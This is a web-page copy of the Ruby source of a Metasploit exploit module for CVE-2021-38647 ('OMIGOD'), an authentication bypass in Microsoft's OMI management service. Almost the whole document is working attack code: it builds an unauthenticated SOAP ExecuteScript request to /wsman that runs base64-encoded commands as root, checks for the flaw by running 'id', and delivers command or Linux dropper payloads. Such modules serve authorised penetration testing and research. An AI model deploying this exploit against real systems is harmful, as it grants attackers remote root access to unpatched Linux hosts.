Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/cve_2021_38647_omigod.rb
32939 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
14
XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
21
'Description' => %q{
22
By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint
23
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
24
OMI version 1.6.8-1 (released September 8th 2021).
25
},
26
'Author' => [
27
'Nir Ohfeld', # vulnerability discovery & research
28
'Shir Tamari', # vulnerability discovery & research
29
'Spencer McIntyre', # metasploit module
30
'wvu' # vulnerability research
31
],
32
'References' => [
33
['CVE', '2021-38647'],
34
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],
35
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
36
['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],
37
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
38
],
39
'DisclosureDate' => '2021-09-14',
40
'License' => MSF_LICENSE,
41
'Privileged' => true,
42
'Targets' => [
43
[
44
'Unix Command',
45
{
46
'Platform' => 'unix',
47
'Arch' => ARCH_CMD,
48
'Type' => :unix_cmd
49
}
50
],
51
[
52
'Linux Dropper',
53
{
54
'Platform' => 'linux',
55
'Arch' => [ARCH_X86, ARCH_X64],
56
'Type' => :linux_dropper
57
}
58
]
59
],
60
'DefaultTarget' => 1,
61
'DefaultOptions' => {
62
'RPORT' => 5985,
63
'SSL' => false,
64
'MeterpreterTryToFork' => true
65
},
66
'Notes' => {
67
'AKA' => ['OMIGOD'],
68
'Stability' => [CRASH_SAFE],
69
'Reliability' => [REPEATABLE_SESSION],
70
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
71
}
72
)
73
)
74
75
register_options([
76
OptString.new('TARGETURI', [true, 'Base path', '/wsman'])
77
])
78
end
79
80
def check
81
http_res = send_command('id')
82
return CheckCode::Unknown if http_res.nil?
83
return CheckCode::Safe unless http_res.code == 200
84
85
cmd_res = parse_response(http_res)
86
return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /
87
88
return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")
89
end
90
91
def exploit
92
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
93
94
case target['Type']
95
when :unix_cmd
96
result = execute_command(payload.encoded)
97
if result
98
print_status(result[:stdout]) unless result[:stdout].blank?
99
print_error(result[:stderr]) unless result[:stderr].blank?
100
end
101
when :linux_dropper
102
execute_cmdstager
103
end
104
end
105
106
def execute_command(cmd, _opts = {})
107
vprint_status("Executing command: #{cmd}")
108
res = send_command(cmd)
109
110
unless res && res.code == 200
111
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
112
end
113
114
parse_response(res)
115
end
116
117
def parse_response(res)
118
return nil unless res&.code == 200
119
120
return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i
121
unless return_code == 0
122
print_error("Failed to execute command: #{cmd} (status: #{return_code})")
123
end
124
125
{
126
return_code: return_code,
127
stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,
128
stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content
129
}
130
end
131
132
def send_command(cmd)
133
send_request_cgi(
134
'method' => 'POST',
135
'uri' => normalize_uri(target_uri.path),
136
'ctype' => 'text/xml;charset=UTF-8',
137
'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
138
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
139
<s:Header>
140
<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
141
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
142
<a:ReplyTo>
143
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
144
</a:ReplyTo>
145
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
146
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
147
<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>
148
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
149
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
150
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
151
<w:OptionSet s:mustUnderstand="true"/>
152
<w:SelectorSet>
153
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
154
</w:SelectorSet>
155
</s:Header>
156
<s:Body>
157
<p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
158
<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>
159
<p:Arguments/>
160
<p:timeout>0</p:timeout>
161
<p:b64encoded>true</p:b64encoded>
162
</p:ExecuteScript_INPUT>
163
</s:Body>
164
</s:Envelope>
165
ENVELOPE
166
)
167
end
168
end
169
170